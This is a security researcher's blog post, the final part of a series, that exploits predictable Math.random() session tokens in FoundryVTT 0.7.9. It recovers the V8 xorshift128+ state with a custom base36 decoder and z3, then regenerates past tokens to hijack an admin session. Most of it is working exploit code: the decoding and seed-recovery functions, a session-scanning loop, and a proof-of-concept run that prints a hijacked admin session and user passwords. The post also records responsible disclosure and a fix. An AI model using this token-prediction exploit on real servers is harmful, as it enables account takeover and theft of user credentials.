foundryvtt unauthenticated rce part3/3 - bypassing auth with maffs

FYI: THIS HAS BEEN FIXED IN FOUNDRY 0.7.10+ AND 0.8.2+. So please update your foundry instance!

This is the final post on my foundry exploit chain. In this post i’ll talk about how i found a way to become an admin from the context of 0 prior authentication.

The admin login

What does being an admin mean in foundry? When you authenticate to foundry with your adminkey, your session will be marked as being an admin session. Getting more into the technical details: upon providing your key, auth.js::authenticateAdmin will validate your key against the pbkdf2 sha512 hashed key created by the server owner. This key is not stored in the database like the other passwords but rather configured as either a commandline option (--adminKey) or in the Configuration Menu within the software itself (then stored in an admin.txt). When this check

1
2
3
4
5
6
function testPassword(userkey, actualkey) {
    if (actualkey === '')
        return userkey === '';
    const hash = crypto.pbkdf2Sync(userkey, _S3KT, 1000, 64, 'sha512');
    return hash.toString('hex') === actualkey;
}

is sucessfull, the current users session is getting its admin flag set to true.

sess.admin = success;

I was thinking about a timing attack at first but even if that works id only get the hashed password so i didn’t look into that. would still be a good idea to use a constant time comparison here. After staring at the authentication method for a bit i couldn’t find a way to break it. But what about the session itself? If there was a way to get into the session of an admin, that would work just as well wouldn’t it?

Sessions

This is how prettymuch every session authentication system works: When you first request the website, a token is getting generated and used as a browser cookie. So in every subsequent request this token is sent by your browser and the server will map that to your session. Foundry internally calls those tokens rids So how are rids generated? auth.js::_create

const rid = util.randomID(24);

A 24 character randomID created by common/utils::randomID:

1
2
3
4
5
6
function randomID(arg_0 = 10) {
    const loc_0 = () => Math.random().toString(36).substr(2);
    let loc_1 = '';
    while (loc_1.length < arg_0) loc_1 += loc_0();
    return loc_1.substr(0, arg_0);
}

What stands out right off the bat is the use of Math.random(). To some people this may look like an easy win, it certainly did to me at the time because pseudorandom number generators are prone to being predictable. But it really, really isn’t that easy. Let me explain what the fuck is going on. First, were defining a method, lets call it loc_0. The method generates a pseudorandom number between 0.0 and 1.0 with Math.random() They look like this:

0.21315554681349425

Next, were converting this number to a string. The toString parameter takes the base of the numbering system we want. 2 for binary, 16 for hex, 10 for decimal and so on. Base36 is yet another numbering system / encoding. To quote wikipedia:

The choice of 36 is convenient in that the digits can be represented using the Arabic numerals 0–9 and the Latin letters A–Z (the ISO basic Latin alphabet).

Base36 encoding a foating point value (a double to be specific) is a very weird and imprecise process and decoding is even worse. I’ll tell you a fun fact: calling .toString(36) on some doubles will yield different results on chrome and firefox; and sometimes 2 doubles will result in the same string.

Anyways; because doing Math.random().toString(36):

0.7o8zgt4gqzs

still has the 0. prefix, the method gets rid (rid haha funny) of the first 2 characters using substr(2). So loc_0 will generate something like 7o8zgt4gqzs. The code repeatedly generates these strings and appends them until the combined string has more characters or the same amount of characters than we requested in arg_0. Then, incase we generated more character than we need, they get chopped of at the end with lob_1.substr(0, arg_0).

With arg_0 being 24 in the token generation (session rids are 24 chars long) we end up with something like:

f5gaf57r1lcatwjqm5fbwguj

In theory, the gameplan is:

  • find out where one loc_0 iteration ends and the next one starts (seperate the different b36 strings)
  • decode the base36 into the original numbers
  • reverse the prng seed from the numbers and generate our own tokens

The first 2 parts are actually impossible (or maybe my brain is to smoll); but sometimes being close enough is actually just as good ;).

Before we go on

Before we go on id like to give a disclaimer. The rest of this post will be concerned with algorithms and maffs n shit and well … i fucking suck at all of it. So feel free to shout at me for my small brain methodology. Seriously, feel free to educate me on my twitter, the reddit thread, discord or wherever; im really curious if there is a better way to approach this. Let us move on, shall we?

Base36

I chose the single base36 decode as my first challange. My thinking was that gaining a better understanding of b36 will help me with the first challange (splitting the combined b36 into the individual componments). So first i was like,

there is a b36 encode so let’s just call the b36 decode function

Yeah nice meme, there is none. I took a look at some base36 implementations in python, some documentation blah blah, just gaining a basic understanding. The basic theory is:

  • define a map of the possible characters as an array (0123456789abcdefghijklmnopqrstuvwxyz)
  • index into this array with the number we want to encode (x) MOD 36 (x % 36)
  • divide x by 36 (x /= 36)
  • repeat until number is 0

or in programming terms:

1
2
3
4
5
map = '0123456789abcdefghijklmnopqrstuvwxyz'
result = ''
while (x != 0):
  result += map[x % 36]
  x /= 36

NodeJS uses V8 (the chrome js engine); so how does v8 do this? Issa wild ride. I’ll only show parts of the code because that thing is fucking massive At first they split the integer from the fraction:

1
2
3
// Split the value into an integer part and a fractional part.
double integer = std::floor(value);
double fraction = value - integer;

Given the 52 fraction bits in a double we have a pretty large set of values between 0 and 1. Because of this, the chances of getting a 1 are next to impossible so im just gonna ignore that as an option alltogether and only look at the fraction part of b36 encoding.

The fraction part starts with getting half of the difference between the current and next higher (possible) double value. aka delta:

1
2
double delta = 0.5 * (Double(value).NextDouble() - value);
delta = std::max(Double(0.0).NextDouble(), delta);

What does this accomplish? I don’t know leave me alone. Simmilar to the previously described encoding method, this is what happens next:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
chars = '0123456789abcdefghijklmnopqrstuvwxyz'
# multiply instead of divide
x *= 36
# this part is also new
delta *= 36
# convert the double to an int, getting rid of the fraction part
# `fraction` is always below 0 so multiplied by 36 it'll always be below 36
int digit = static_cast<int>(fraction);
# write the current char
buffer[fraction_cursor++] = chars[digit];
# subtracting it's own integer part to only keep the <0 fraction
x -= digit;

So far this is actually pretty similar to the division method but what do we need delta for? Im just gonna throw this next part at you because sorry but there’s no way im able to explain this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// Round to even.
if (fraction > 0.5 || (fraction == 0.5 && (digit & 1))) {
  if (fraction + delta > 1) {
    // We need to back trace already written digits in case of carry-over.
    while (true) {
      fraction_cursor--;
      // we can ignore this part because our number is always below 1
      if (fraction_cursor == kBufferSize / 2) {
        CHECK_EQ('.', buffer[fraction_cursor]);
        // Carry over to the integer part.
        integer += 1;
        break;
      }
      char c = buffer[fraction_cursor];
      // Reconstruct digit.
      int digit = c > '9' ? (c - 'a' + 10) : (c - '0');
      if (digit + 1 < radix) {
        buffer[fraction_cursor++] = chars[digit + 1];
        break;
      }
    }
    break;
  }
}

This goes on while (fraction >= delta);. I implemented the relevant parts in python with numpy (you don’t actually need to understand much of this):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import string
import math

import numpy as np
from numpy import float64 as f64

def b36enc(d: f64) -> str:
    """
    v8 compatible base36 encode
    example output: kadp7602fln
    example input: 0.5635652429338152
    """

    # 0-9 and a-z
    alpha = string.digits + string.ascii_lowercase
    delta = f64(0.5) * (np.nextafter(d, 1) - d)
    # if d is a smoll boi
    delta = max(np.nextafter(f64(0), 1), delta)
    # array where the result characters will be stored
    res = []
    # we need to keep track of how many times we've looped
    # so we know the current and previous characters
    i = 0
    while d >= delta:
        d *= 36
        delta *= 36
        # cut off the fraction part
        x = math.floor(d)
        d -= x
        res.append(alpha[x])
        i += 1
        if ((d > 0.5 or (d == 0.5 and (x & 1))) and d + delta > 1):
            # to quote the original code:
            # We need to back trace already written digits in case of carry-over.
            while True:
                i -= 1
                c = ord(res[i])
                x = c - ord('a') + 10 if c > ord('9') else c - ord('0')
                if (x + 1 < 36):
                    res[i] = alpha[x + 1]
                    i += 1
                    break
            break
    return ''.join(res)

If this looks like i know what im doing you’re wrong, i just took the original function and reimplemented it in python, gaining a little bit of understanding about how it works. Cool, now we have a functioning b36 encode function, let’s think about decoding this thing. Remember, the most basic form of the algo is (without delta n shit):

1
2
3
4
d *= 36
x = math.floor(d)
res.append(alpha[x]) # we have the "result" so we know the x of every iteration
d -= x

d is the input and x is the index into the 0-9a-z (alpha) table. We can easily get x from any character in the b36 string with:

alpha.index(character)

which just means get the index of element "character" in python. easy enough; what about x to d tho. I bet there is a facy maffs way of solving this but heres how i did it: adding a bunch of print statements to look at the numbers at different points. Stairing at those numbers for a bit and trying some things like dividing numbers by 36 and adding number together until i just noticed a pattern. To be totally honest, i don’t entirely understand how my solution works i just instinctively did it. Imagine this first iteration:

1
2
3
4
5
d *= 36 # we know some unknown value is multiplied by 36
x = math.floor(d) # we split the integer and fraction part
res.append(alpha[x]) # we only know the integer part so we know floor(36d) = x
d -= x # the fraction part is then used as d in the next iteration
# so future d := 36d - floor(36d)

After talking to my girlfriend (love you), i think it makes a bit more sense to me now. Lemme try to explain. I’ll use x instead of d in the below formulars. Consider this set of conditions:

1
2
3
4
5
# x0 is the first value of x, it's the origin value that is getting encoded
x1 = 36x0 - floor(36x0)
x2 = 36x1 - floor(36x1)
x3 = 36x2 - floor(36x2)
...

We can expand this into a single formular by inserting the previous formular for the unknowns x:

1
x3 = 36 * (36 * (36x0 - floor(36x0)) - floor(36 * (36x0 - floor(36x0)))) - floor(36 * (36 * (36x0 - floor(36x0)) - floor(36 * (36x0 - floor(36x0)))))

Or, the simplified form:

1
xn = 36xn-1 - floor(36xn-1)

Or as a recursive function:

1
f(n) = f(36n - floor(36n))

I don’t know how to notate stopping conditions but it would be if n > 0. Anyway; whats difficult about this is that we need to solve for floor(36n). We know that f(n) = 0 because that’s the stop condition.

I could’ve used a theorem prover for this but floor is kinda painful to implement and i found this solution (assuming input is already converted with indexof alpha):

1
2
3
4
5
6
7
# as i stated above, the last one is 0, so i go in reverse, starting with 0.
# we need `prev` to store the previous value (xn-1)
prev = 0
for x in reversed(input):
  # divide by 36 to invert the multiplication
  # xn + xn-1 / 36
  prev = (x + prev) / 36

Or, a bit more elegant and with numpy and indexof applied (full solution):

1
2
3
4
5
6
7
def b36dec(b36) -> f64:
    """
    v8 compatible base36 decode
    example input: kadp7602fln
    example output: 0.5635652429338152
    """
    return reduce(lambda a, x: f64(alpha.index(x) + a) / 36, reversed(b36), 0)

We actually need the numpy stuff because python doesnt have sized number types but we need to be able to overflow the numbers. This neat little function will accurately decode v8s base36 encode.

Why does this work?

  • Choose a number between 0 and 1 (exclusive); let’s say 0.7.
  • Multiply that by 36; 0.7 * 36 = 25.2.
  • Divide the integral part of the result by 36; 25 / 36 = 0.6944

Notice how thats pretty damn close to the original number? Floor looses alot of accuracy, but we can get that back if we have multiple related floored values.

What about this delta guy

Remember, so far we only focused on the basic algorythm without all the delta stuff. Interestingly, im pretty sure we can’t really account for that. Because we’re approximating the original value we don’t know the accurate intermediate values and thus can’t use those to do the same check as the encoder does. I mean maybe there is a way and im just not smart enough but it doesnt matter because as i said before: base36 encode is ambiguous. Paste this into the chrome console and see for yourself:

0.5635652429338151.toString(36) == 0.5635652429338150.toString(36)

And it really isnt hard to find those numbers either, all i did was generate a random number and play with the last digit. Now is this ambiguity because of the encoder, the delta stuff or the way doubles work in c? I have no clue. Another interesting thing is that firefox uses a simpler algorythm.

Firefox: 0.5635652429338151.toString(36) == “0.kadp7602flc”

Chrome: 0.5635652429338151.toString(36) == “0.kadp7602fla”

Anyways. Enough rambling about floats. We have a decently reliable b36decode function, the next challenge is decoding concatinated b36 strings.

Where to split?

Remember, the algo does Math.random().toString(36) until it generated 24 or more characters, then takes the first 24 only. If you thought i had no idea what im doing in the last segment, wait till you read this :p. I was playing around with my new decode function. Testing how accurate it was, just manipulating some characters n stuff. Just decoding some random double

b36dec(‘kadp7602fln’) -> 0.5635652429338152

ok cool

b36dec(‘kadp7602flna’) -> 0.5635652429338152

wait what??

b36dec(‘kadp7602flnabc’) -> 0.5635652429338152

excuse me???

b36dec(‘kadp7602flnthefuckisgoingon’) -> 0.5635652429338152

If you haven’t noticed already: b36dec(‘kadp7602flna’) == b36dec(‘kadp7602flnthefuckisgoingon’). Nothing that comes after the encoded value matters at all! Why does this matter? Well if multiple b36 strings are getting concatinated, i can actually decode the first number by just decoding the whole concatinated thing. Because nothing after the first number matters! I can then reencode that first number, which tells me which part of the concatinated string contains the first number. That first number is removed and i move on with the rest of the string. Kinda cool right? If i had to guess why this works id say it’s a side effect on the approximation based method i used for decoding. The more characters we have the less it matters what we start with; it’s kinda self correcting. Or maybe it’s just because the float is always overflowing at a certain point? Let’s just say it’s the wizard jizz reality seems to be made of; what do i know, im a school dropout eating pizza in my basement appartment. Getting a small b36 string (like 0.5) would obviously stop this from working but that wont happen. With 52 bits between 0 and 1, the chances of getting a small fraction like .5 are abysmal. What about the last b36 string tho? Since the whole thing gets cut off at 24 characters, we dont get the last one. Do we ignore that? Yeah let’s ignore the last part for now and test this thing. Just a few manual tests confirm this isn’t very precise. So i get another idea. Sometimes the decoder is influenced a tiny bit by what comes after the first string. Weirdly, this influence is often times not big enough that it would prompt the encoder to generate an additional character (just a wrong one). So what if we just use the decoder to determine the length of the first string. This is what i thought of:

  • decode whole string into first float
  • encode first float again and get the length of that string
  • decode the first LEN chars of the whole string

If that sounds insane it’s because it is. Just look at it:

1
2
d = b36dec(b36[:len(b36enc(b36dec(b36)))])
b36 = b36[len(b36enc(d)):]

While is pretty accurate, it’s still not perfect. How do i know how accurate it is?

Stonks.py

I calculated it. In the script riddec_stonks.py (i’ll be releasing this alongside everything else) you can find the code. This is what happens in the script:

  • generate 100 000 rids (concatinated random b36 strings)
  • decode rids into individual floats
  • reinterpret float bits in memory as integers (easier to calulate with)
  • calculate how many CONSECUTIVE bits are usually accurate

I called amounts of inaccurate ending bits delta bits. So delta 0 means perfectly decoded, delta 1 means last bit inaccurate and so on. This is what the first float deltas look like (a deltas):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# a deltas:
# delta 0: 85.72800000000001%
# delta 1: 13.178999999999998%
# delta 2: 0.215%
# delta 3: 0.063%
# delta 4: 0.13999999999999999%
# delta 5: 0.27999999999999997%
# delta 6: 0.361%
# delta 7: 0.001%
# delta 8: 0.004%
# delta 9: 0.003%
# delta 10: 0.009000000000000001%
# delta 11: 0.016%
# delta 16: 0.001%

As you can see the they’re very likely to be identical but even more likely to have only 1 endbit of inaccuracy. The b deltas look a bit different.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# b deltas:
# delta 0: 71.58099999999999%
# delta 1: 10.821%
# delta 2: 0.18%
# delta 3: 0.059000000000000004%
# delta 4: 0.126%
# delta 5: 0.20500000000000002%
# delta 6: 0.281%
# delta 7: 0.001%
# delta 8: 0.002%
# delta 9: 0.002%
# delta 10: 0.001%
# delta 11: 0.006999999999999999%
# delta 39: 0.002%
# delta 40: 0.008%
# delta 41: 0.005%
# delta 42: 0.017%
# delta 43: 0.034%
# delta 44: 0.066%
# delta 45: 0.136%
# delta 46: 0.28800000000000003%
# delta 47: 0.525%
# delta 48: 1.039%
# delta 49: 2.122%
# delta 50: 3.785%
# delta 51: 5.645%
# delta 52: 3.0620000000000003%

It reasonably likely that just 1 endbit is invalid but its not as good as the first one. Should be good enough tho. Because the b36 strings are always at a simmilar size (roughtly 8-12) and the whole thing is 24 characters, we know there will be 2-3 individual b36 strings. Most of the time there are 2 full ones and 1 scuffed one with about 2-6 chars. The deltas of the last one are obviously completely fucked so im not gonna show them. Instead ill tell you about another pattern i noticed when playing with the last string. I decoded the last part a bunch of times and looked at how many endbits are inaccurate. Interestingly, for every character the last string had, there were 4 accurate bits at the beginning. So to get the amount of inaccurate bits in the last part we can just do:

64 - (len(b36last) * 4)

Cool, we have figured out how much of our stuff is accurate. This information is pretty essential because we only want to use the most accurate parts. To store this information, i made a structure called ApproxFloat:

1
2
3
4
5
6
7
8
@dataclass
class ApproxFloat:
    """a float along with an approximation of how many bits may be inaccurate"""

    # recovered float
    val: float
    # loss in bits
    loss: int

Equiped with this class we can finally fishish the rid decode function:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
# decodes a whole rid into the 3 original floats
# the results specify how many bits are probably inaccurate
def dec_rid(b36) -> List[ApproxFloat]:
    """decode a rid into the original floats approximately"""
    def dec(loss): 
        """
        we decode the whole string into a single float.
        the result will be (close to) the first of the concatinated floats.
        then we reencode that float and get the size of the encoded value.
        we use that size to actually decode a b36 string which we cut out from
        the original string.
        then we advance the string by removing what we just decoded from the start 
        """
        nonlocal b36
        d = b36dec(b36[:len(b36enc(b36dec(b36)))])
        b36 = b36[len(b36enc(d)):]
        return ApproxFloat(d, loss)

    # always use a loss of `1` except for the last float
    # last float has 4 bits of accuracy for every b36 char
    return [dec(1), dec(1), dec(64 -(len(b36) * 4))]

Phew, what an adventure.

Finally cracking the prng

We got the original randomly generated floats (kinda), now we just have to crack the nodejs math.random generator. At the time of writing this, nodejs uses a variation of the xorshift128+ algorithm for random numbers as evident in their XorShift128 function:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
static inline void XorShift128(uint64_t* state0, uint64_t* state1) {
  uint64_t s1 = *state0;
  uint64_t s0 = *state1;
  *state0 = s0;
  s1 ^= s1 << 23;
  s1 ^= s1 >> 17;
  s1 ^= s0;
  s1 ^= s0 >> 26;
  *state1 = s1;
}

// Static and exposed for external use.
static inline double ToDouble(uint64_t state0) {
  // Exponent for double values for [1.0 .. 2.0)
  static const uint64_t kExponentBits = uint64_t{0x3FF0000000000000};
  uint64_t random = (state0 >> 12) | kExponentBits;
  return bit_cast<double>(random) - 1;
}

If we can find the values of state0 and state1, we can determine all previous and future generated values. In ToDouble we can see that state0 is used as the random value (the output we get). Because it’s converted to a double, we only get 52 bits of the 64bit state0 int so theres even more dataloss. Again, i made my own python version to gain a better understanding:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
from numpy import uint64 as u64
from typing import Tuple
import struct

def xs128p_v8(s0: u64, s1: u64) -> Tuple[u64, u64]:
    """v8 xorshift128+ implementation"""
    s0 ^= s0 << u64(23)
    s0 ^= s0 >> u64(17)
    s0 ^= s1
    s0 ^= s1 >> u64(26)
    return s1, s0

# this method will be used to use state0 as a double
def qd_v8(q: u64) -> f64:
    """quad to double V8 version"""
    return qd(q >> u64(12) | u64(0x3ff0000000000000)) -1

# the actual reinterpret cast
def qd(q: u64) -> f64:
    """quad to double"""
    return f64(struct.unpack('d', struct.pack('<Q', q))[0])

We can undo the xors but not the right and left shifts. But because the output we get (first return value) is the result of the previous iteration (previous s0) we have some data. Ignoring the xors, it’s kinda just shaking around the bits while shaving off some of the bits on the left and right edges leaving some in the middle we can rotate around and piece together in multiple iterations. Now we could do this manually as we did with the b36 decode but solving xorshift128+ with a theorem prover has been done time and time again so why reinvent the wheel? There is so many articles talking about cracking math.random so i wont go into too much detail. The basic answer is just: use a theorem prover. A theorem prover will receive some maffs/logic fomular and hand us a set of inputs that satisfy some condition we set. So for example we could do:

1
2
3
4
5
6
7
8
x = Int('x')
y = Int('y')

s = Solver()
# adds the conditions that x must be above 10 and y equal to x +2
s.add(x > 10, y == x + 2)
# checks if this is satisfyable
print(s.check())

If it’s satisfyable we could then get a model with the values that satisfy those condititons. Whats important for us is that we need to tell the theorem prover to ignore the bits we believe to be inaccurate (the loss of the AproxxFloats). I do this by just masking the last n bits:

1
2
3
def msk_loss(x: int, loss: int) -> int:
    """mask out `loss` last bits from x"""
    return x & ~((1 << loss) -1)

The theorem prover everyone is using is called z3 it’s just really solid and it has decent python bindings. So i implement eveything we have done so far in z3 (which just means using z3s datatypes and some special operators). Here is my z3 xorshift128+ implementation, it’s really not that special:

1
2
3
4
5
6
7
8
def xs128p_z3(s0: BitVec, s1: BitVec) -> Tuple[BitVec, BitVec]:
    """z3 symbolic representation of xorshift128+"""
    s0 ^= s0 << 23
    # z3.LShR instead of >> because "in Z3, the shift operators are arithmetic shifts rather than logical shifts"
    s0 ^= z3.LShR(s0, 17)
    s0 ^= s1
    s0 ^= z3.LShR(s1, 26)
    return s1, s0

To add the conditions, i made an add_z3 function:

1
2
3
4
5
6
7
def add_z3(slv: z3.Solver, x: ApproxFloat, s0: BitVec, s1: BitVec):
    """add an approximated float to the formular"""
    # symbolically execute the xorshift
    s0, s1 = xs128p_z3(s0, s1)
    # add condition with the loss bits masked out
    slv.add(msk_loss(z3.LShR(s0, 12), x.loss) == msk_loss(int(dq_v8(x.val)), x.loss))
    return s0, s1

Then we just tell z3 to solve for a handful of foundry rids (or tokens as i called em here):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def recover_seed(tokens: List[str]) -> Optional[Tuple[u64, u64]]:
    """
    recovers the seed for a given set of session ids.
    the session tokens need to be passed in the correct order.
    usually 2 tokens are optimal, more are not necessarily benefitial.
    due to the token decoding inaccuracy, too many tokens are detrimental.
    """

    # bitvecs are just like ints
    s0 = z3.BitVec('s0', 64)
    s1 = z3.BitVec('s1', 64)
    s0_ = s0
    s1_ = s1
    z3.set_option("parallel.enable", True)
    z3.set_option("parallel.threads.max", os.cpu_count())
    solver = z3.SolverFor("QF_BV")

    for t in reversed(tokens):
        for d in reversed(dec_rid(t)):
            s0, s1 = add_z3(solver, d, s0, s1)

    # if it's satisfied we prolly got the "seed"
    if solver.check() == z3.sat:
        m = solver.model()
        return (u64(m[s0_].as_long()), u64(m[s1_].as_long()))

    return None

Aaaaaand we get the seed s0 and s1 :). Let’s do something with em!

Using the seed

You might think we need to run xorshift in reverse to get the previous tokens but nope. The V8 engine has a random number cache. It first generates 1000 random numbers, puts them on a stack and when someone requests a number, it gets popped off the stack until it’s empty. A side effect of this is that numbers get returned in the opposite order they were generated. Thats why you see

for d in reversed(dec_rid(t)):

in the previous code. I always request 3 tokens. 2 to get the seed and the third to double check that we got it correctly.

1
2
inp = [request_token(url), request_token(url)]
check = request_token(url)

Then i generate the 64 last tokens and check each one for the admin flag. If a game is running and the session is associated with a user, i also dump the user database with the exploit from my previous post.

1
sessions = await asyncio.gather(*(check_sess(url, prev_rid(rng), active) for _ in range(64)))

POC

Link to the poc exploit. To install the dependencies, just do:

pip install -r requirements.txt

You will need python3. The poc is super easy to use. You just tell it the foundry url and it does everything else for you.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
❯  python rnghax.py http://localhost:30000
server running foundry 0.7.9
data path at /home/catnip/.local/share/FoundryVTT
trying with tokens: ['db8x4llkgsqip7deh42cqrj3', '1puya3xxss9ftryt3x1zprlu']
found seed: 9993270706845480418:11192517990384452169
looking for sessions
----
found following sessions:
rid: ji38xvzub5j34pbd8vfksowi
rid: 1puya3xxss9ftryt3x1zprlu
rid: db8x4llkgsqip7deh42cqrj3
rid: fgo1aa8w635pk7bw44kkt35e
admin! rid: tmcg42wsw3g99fn55oyeciv6 uid: yYMaJwcVCcqJN09P name: Gamemaster password:
----
found following users:
uid: 9QMfMfcKwjnU0lQ7 name: lit password: af role: 2
uid: FGWnyV4lH2KmuRzd name: salad password: kektop role: 1
uid: R8xJ9pkyBP54OIsN name: memes password: topkek role: 1
uid: iGNzDi9gdSeZfgZH name: yeet password: top role: 1
uid: yYMaJwcVCcqJN09P name: Gamemaster password:  role: 4

As you can see, the admin session has a little admin! in front of it :). The other sessions it found are actually the sessions it generated itself. We can just take that rid and use it as a cookie value to impersonate that session, or feed it into the zip exploit.

Resolution

  • 07.02.2021 created confidential gitlab issue with all the problems i found
  • 08.02.2021 got issued 3 foundry keys as a thank you
  • 17.02.2021 fixed in 0.8.0 alpha update
  • 20.05.2021 fixes backported to 0.7.10 update

Comments

Im always open to talk about this stuff. Feel free to talk to me on

2021-06-03 12:56:14 +0200 +0200